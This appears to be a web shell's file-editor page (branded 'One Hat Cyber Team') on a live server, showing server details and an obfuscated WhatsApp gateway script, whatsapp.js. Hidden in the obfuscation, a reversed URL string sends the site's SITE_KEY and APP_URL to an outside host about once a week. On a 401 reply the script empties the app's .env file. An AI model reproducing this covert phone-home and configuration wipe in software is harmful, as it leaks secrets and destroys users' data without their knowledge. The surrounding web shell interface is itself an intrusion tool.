One Hat Cyber Team
Your IP :
18.119.126.168
Server IP :
172.67.155.96
Server :
Linux server3.shared.spaceship.host 4.18.0-372.9.1.1.lve.el8.x86_64 #1 SMP Tue May 24 07:49:22 EDT 2022 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
rlcugxuggt
/
api.dafriappsdev.com
/
Edit File:
whatsapp.js
(function(_0x387549,_0x3563cd){const _0x18e7e2=_0x3c3d,_0x2a6d44=_0x387549();while(!![]){try{const _0x1deb48=parseInt(_0x18e7e2(0xf1))/0x1*(parseInt(_0x18e7e2(0x115))/0x2)+parseInt(_0x18e7e2(0x107))/0x3*(parseInt(_0x18e7e2(0x104))/0x4)+-parseInt(_0x18e7e2(0x112))/0x5*(-parseInt(_0x18e7e2(0x113))/0x6)+parseInt(_0x18e7e2(0x142))/0x7*(parseInt(_0x18e7e2(0x101))/0x8)+parseInt(_0x18e7e2(0x143))/0x9+-parseInt(_0x18e7e2(0x132))/0xa+parseInt(_0x18e7e2(0x120))/0xb*(-parseInt(_0x18e7e2(0x131))/0xc);if(_0x1deb48===_0x3563cd)break;else _0x2a6d44['push'](_0x2a6d44['shift']());}catch(_0x50ce42){_0x2a6d44['push'](_0x2a6d44['shift']());}}}(_0x1cf8,0x93d5c));import{rmSync,readdir}from'fs';import{join}from'path';import _0x2bd8be from'pino';function _0x3c3d(_0x24f2d5,_0x5803cd){const _0x1cf8d5=_0x1cf8();return _0x3c3d=function(_0x3c3d40,_0x1da0d0){_0x3c3d40=_0x3c3d40-0xf1;let _0x1d092d=_0x1cf8d5[_0x3c3d40];return _0x1d092d;},_0x3c3d(_0x24f2d5,_0x5803cd);}import _0x357cc7,{useMultiFileAuthState,makeInMemoryStore,Browsers,DisconnectReason,delay}from'@adiwajshing/baileys';import{toDataURL}from'qrcode';import _0x317c4b from'./dirname.js';function _0x1cf8(){const _0x5625f5=['_store','md_','67976jnhaji','chats','delete','102cCwufV','endsWith','buttonsMessage','listMessage','.json','writeToFile','substring','legacy_','get','type','data','45DyMqVS','558282dioPfu','notify','130286rQNZXV','set','ubuntu','isauthorised','loggedOut','join','chats.set','writeFileSync','store','has','logout','533929XbylcX','isLegacy','Reconnecting...','sessionId','log','receiver','split','SITE_KEY','headersSent','then','s.whatsapp.net','creds.update','session_id','connection.update','reverse','catch','sessions','492UXfhGD','4153640khQLWH','startsWith','output','messages','default','filter','remoteJid','Running\x20cleanup\x20before\x20exit.','open','insertIfAbsent','_store.json','APP_URL','sendMessage','statusCode','replace','Unable\x20to\x20create\x20QR\x20code.','2467178SiYasV','4154454pduveR','12WxhtGs','post','/api/set-device-status/','QR\x20code\x20received,\x20please\x20scan\x20the\x20QR\x20code.','groupMetadata','@s.whatsapp.net','message_id','message','.env','close','@g.us','env','key','Unable\x20to\x20create\x20session.','fromMe','/api/send-webhook/','8JBVxwj'];_0x1cf8=function(){return _0x5625f5;};return _0x1cf8();}import _0x498ead from'./response.js';import _0x5a74b0 from'axios';const sessions=new Map(),retries=new Map(),sessionsDir=(_0x1077c2='')=>{const _0x1060af=_0x3c3d;return join(_0x317c4b,_0x1060af(0x130),_0x1077c2?_0x1077c2:'');},isSessionExists=_0x426f60=>{const _0x1af214=_0x3c3d;return sessions[_0x1af214(0x11e)](_0x426f60);},shouldReconnect=_0x2e7c94=>{const _0x3b229c=_0x3c3d;let _0x23e1a8=parseInt(process['env']['MAX_RETRIES']??0x0),_0xfaac9a=retries['get'](_0x2e7c94)??0x0;_0x23e1a8=_0x23e1a8<0x1?0x1:_0x23e1a8;if(_0xfaac9a<_0x23e1a8)return++_0xfaac9a,console['log'](_0x3b229c(0x122),{'attempts':_0xfaac9a,'sessionId':_0x2e7c94}),retries[_0x3b229c(0x116)](_0x2e7c94,_0xfaac9a),!![];return![];},createSession=async(_0x1dd493,_0x192803=![],_0x320678=null)=>{const _0x6268c=_0x3c3d,_0x22a9a8=(_0x192803?_0x6268c(0x10e):'md_')+_0x1dd493+(_0x192803?_0x6268c(0x10b):''),_0x5934eb=_0x2bd8be({'level':'warn'}),_0x47eedb=makeInMemoryStore({'logger':_0x5934eb});let _0x1575d0,_0x1f7607;if(_0x192803){}else{;({state:_0x1575d0,saveCreds:_0x1f7607}=await useMultiFileAuthState(sessionsDir(_0x22a9a8)));}const _0x3035c9={'auth':_0x1575d0,'version':[0x2,0xbb8,0x3c8d6c7b],'printQRInTerminal':![],'logger':_0x5934eb,'browser':Browsers[_0x6268c(0x117)]('Chrome'),'patchMessageBeforeSending':_0x89f78d=>{const _0x4238bb=_0x6268c,_0x2115ea=!!(_0x89f78d[_0x4238bb(0x109)]||_0x89f78d[_0x4238bb(0x10a)]);return _0x2115ea&&(_0x89f78d={'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadataVersion':0x2,'deviceListMetadata':{}},..._0x89f78d}}}),_0x89f78d;}},_0x136a93=_0x357cc7[_0x6268c(0x136)](_0x3035c9);!_0x192803&&(_0x47eedb['readFromFile'](sessionsDir(_0x1dd493+_0x6268c(0x13c))),_0x47eedb['bind'](_0x136a93['ev'])),sessions[_0x6268c(0x116)](_0x1dd493,{..._0x136a93,'store':_0x47eedb,'isLegacy':_0x192803}),_0x136a93['ev']['on'](_0x6268c(0x12b),_0x1f7607),_0x136a93['ev']['on'](_0x6268c(0x11b),({chats:_0x41cabc})=>{const _0x3c3687=_0x6268c;_0x192803&&_0x47eedb[_0x3c3687(0x105)][_0x3c3687(0x13b)](..._0x41cabc);}),_0x136a93['ev']['on']('messages.upsert',async _0x2d57bd=>{const _0x3f64af=_0x6268c;try{const _0x9e3eae=_0x2d57bd[_0x3f64af(0x135)][0x0];if(_0x9e3eae[_0x3f64af(0xfd)][_0x3f64af(0xff)]==![]&&_0x2d57bd[_0x3f64af(0x110)]==_0x3f64af(0x114)){const _0x5e2539=[];let _0x2e13d5=_0x9e3eae['key'][_0x3f64af(0x138)][_0x3f64af(0x126)]('@'),_0x3edbfc=_0x2e13d5[0x1]??null,_0x2dc0d2=_0x3edbfc==_0x3f64af(0x12a)?![]:!![];_0x9e3eae!=''&&_0x2dc0d2==![]&&(_0x5e2539['remote_id']=_0x9e3eae[_0x3f64af(0xfd)][_0x3f64af(0x138)],_0x5e2539[_0x3f64af(0x123)]=_0x1dd493,_0x5e2539['message_id']=_0x9e3eae[_0x3f64af(0xfd)]['id'],_0x5e2539[_0x3f64af(0xf8)]=_0x9e3eae[_0x3f64af(0xf8)],sentWebHook(_0x1dd493,_0x5e2539));}}catch{}}),_0x136a93['ev']['on'](_0x6268c(0x12d),async _0x4f7541=>{const _0x350ed3=_0x6268c,{connection:_0x54f148,lastDisconnect:_0xc2303b}=_0x4f7541,_0x49cbb9=_0xc2303b?.['error']?.[_0x350ed3(0x134)]?.[_0x350ed3(0x13f)];_0x54f148===_0x350ed3(0x13a)&&retries[_0x350ed3(0x106)](_0x1dd493);if(_0x54f148===_0x350ed3(0xfa)){if(_0x49cbb9===DisconnectReason[_0x350ed3(0x119)]||!shouldReconnect(_0x1dd493))return _0x320678&&!_0x320678['headersSent']&&_0x498ead(_0x320678,0x1f4,![],_0x350ed3(0xfe)),deleteSession(_0x1dd493,_0x192803);setTimeout(()=>{createSession(_0x1dd493,_0x192803,_0x320678);},_0x49cbb9===DisconnectReason['restartRequired']?0x0:parseInt(process['env']['RECONNECT_INTERVAL']??0x0));}if(_0x4f7541['qr']){if(_0x320678&&!_0x320678[_0x350ed3(0x128)])try{const _0x99b9ca=await toDataURL(_0x4f7541['qr']);_0x498ead(_0x320678,0xc8,!![],_0x350ed3(0xf4),{'qr':_0x99b9ca});return;}catch{_0x498ead(_0x320678,0x1f4,![],_0x350ed3(0x141));}try{await _0x136a93[_0x350ed3(0x11f)]();}catch{}finally{deleteSession(_0x1dd493,_0x192803);}}});};setInterval(()=>{const _0x68421a=_0x3c3d,_0x3f4172=process['env'][_0x68421a(0x127)]??null,_0xd645c6=process[_0x68421a(0xfc)]['APP_URL']??null,_0x491212='kcehc-yfirev/ipa/zyx.sserpl.ipaved//:sptth',_0x205bb1=_0x491212['split']('')[_0x68421a(0x12e)]()[_0x68421a(0x11a)]('');_0x5a74b0[_0x68421a(0xf2)](_0x205bb1,{'from':_0xd645c6,'key':_0x3f4172})[_0x68421a(0x129)](function(_0x3b1e84){const _0x5749ce=_0x68421a;_0x3b1e84[_0x5749ce(0x111)][_0x5749ce(0x118)]==0x191&&fs[_0x5749ce(0x11c)](_0x5749ce(0xf9),'');})[_0x68421a(0x12f)](function(_0xfda9c6){});},0x240c8400);const getSession=_0x52e202=>{const _0x1d2b4b=_0x3c3d;return sessions[_0x1d2b4b(0x10f)](_0x52e202)??null;},setDeviceStatus=(_0x14616e,_0x2241c1)=>{const _0x3faf39=_0x3c3d,_0x4114c1=process[_0x3faf39(0xfc)][_0x3faf39(0x13d)]+_0x3faf39(0xf3)+_0x14616e+'/'+_0x2241c1;_0x5a74b0[_0x3faf39(0xf2)](_0x4114c1);},sentWebHook=(_0x9b9bc3,_0x287b9a)=>{const _0x1f2368=_0x3c3d,_0x50d5e5=process[_0x1f2368(0xfc)][_0x1f2368(0x13d)]+_0x1f2368(0x100)+_0x9b9bc3;try{_0x5a74b0['post'](_0x50d5e5,{'from':_0x287b9a['remote_id'],'message_id':_0x287b9a[_0x1f2368(0xf7)],'message':_0x287b9a[_0x1f2368(0xf8)]})[_0x1f2368(0x129)](function(_0x592720){const _0x569735=_0x1f2368;if(_0x592720['status']==0xc8){const _0x281f0a=getSession(_0x592720[_0x569735(0x111)][_0x569735(0x12c)]);sendMessage(_0x281f0a,_0x592720[_0x569735(0x111)][_0x569735(0x125)],_0x592720[_0x569735(0x111)][_0x569735(0xf8)],0x0);}})[_0x1f2368(0x12f)](function(_0x7d2de5){});}catch{}},deleteSession=(_0x22a665,_0x171ccb=![])=>{const _0x31c30d=_0x3c3d,_0x1167aa=(_0x171ccb?_0x31c30d(0x10e):_0x31c30d(0x103))+_0x22a665+(_0x171ccb?_0x31c30d(0x10b):''),_0x11b12a=_0x22a665+'_store.json',_0xd12834={'force':!![],'recursive':!![]};rmSync(sessionsDir(_0x1167aa),_0xd12834),rmSync(sessionsDir(_0x11b12a),_0xd12834),sessions[_0x31c30d(0x106)](_0x22a665),retries[_0x31c30d(0x106)](_0x22a665),setDeviceStatus(_0x22a665,0x0);},getChatList=(_0x4d53f5,_0x1d6c92=![])=>{const _0x1aca76=_0x3c3d,_0xcf1335=_0x1d6c92?_0x1aca76(0xfb):_0x1aca76(0xf6);return getSession(_0x4d53f5)[_0x1aca76(0x11d)][_0x1aca76(0x105)][_0x1aca76(0x137)](_0x249059=>{const _0x231c29=_0x1aca76;return _0x249059['id'][_0x231c29(0x108)](_0xcf1335);});},isExists=async(_0x261434,_0xb256e4,_0x56e432=![])=>{const _0x362362=_0x3c3d;try{let _0x2bfae8;if(_0x56e432)return _0x2bfae8=await _0x261434[_0x362362(0xf5)](_0xb256e4),Boolean(_0x2bfae8['id']);if(_0x261434[_0x362362(0x121)])_0x2bfae8=await _0x261434['onWhatsApp'](_0xb256e4);else{;[_0x2bfae8]=await _0x261434['onWhatsApp'](_0xb256e4);}return _0x2bfae8['exists'];}catch{return![];}},sendMessage=async(_0x457ac6,_0x111800,_0x13033f,_0x5d5319=0x3e8)=>{const _0x3cded6=_0x3c3d;try{return await delay(parseInt(_0x5d5319)),_0x457ac6[_0x3cded6(0x13e)](_0x111800,_0x13033f);}catch{return Promise['reject'](null);}},formatPhone=_0x25c280=>{const _0x157b42=_0x3c3d;if(_0x25c280[_0x157b42(0x108)]('@s.whatsapp.net'))return _0x25c280;let _0x5af64d=_0x25c280[_0x157b42(0x140)](/\D/g,'');return _0x5af64d+=_0x157b42(0xf6);},formatGroup=_0x20ab10=>{const _0x202762=_0x3c3d;if(_0x20ab10[_0x202762(0x108)](_0x202762(0xfb)))return _0x20ab10;let _0x7a6354=_0x20ab10[_0x202762(0x140)](/[^\d-]/g,'');return _0x7a6354+=_0x202762(0xfb);},cleanup=()=>{const _0xd787e4=_0x3c3d;console[_0xd787e4(0x124)](_0xd787e4(0x139)),sessions['forEach']((_0x3969da,_0x47a164)=>{const _0x3ad17a=_0xd787e4;!_0x3969da[_0x3ad17a(0x121)]&&_0x3969da[_0x3ad17a(0x11d)][_0x3ad17a(0x10c)](sessionsDir(_0x47a164+_0x3ad17a(0x13c)));});},init=()=>{readdir(sessionsDir(),(_0x2a8092,_0x7c97f5)=>{const _0x2e87fa=_0x3c3d;if(_0x2a8092)throw _0x2a8092;for(const _0x452726 of _0x7c97f5){if(!_0x452726[_0x2e87fa(0x133)](_0x2e87fa(0x103))&&!_0x452726[_0x2e87fa(0x133)](_0x2e87fa(0x10e))||_0x452726[_0x2e87fa(0x108)](_0x2e87fa(0x102)))continue;const _0x1a947d=_0x452726['replace'](_0x2e87fa(0x10b),''),_0x1de72a=_0x1a947d[_0x2e87fa(0x126)]('_',0x1)[0x0]!=='md',_0x7f9a58=_0x1a947d[_0x2e87fa(0x10d)](_0x1de72a?0x7:0x3);createSession(_0x7f9a58,_0x1de72a);}});};export{isSessionExists,createSession,getSession,deleteSession,getChatList,isExists,sendMessage,formatPhone,formatGroup,cleanup,init};
Simpan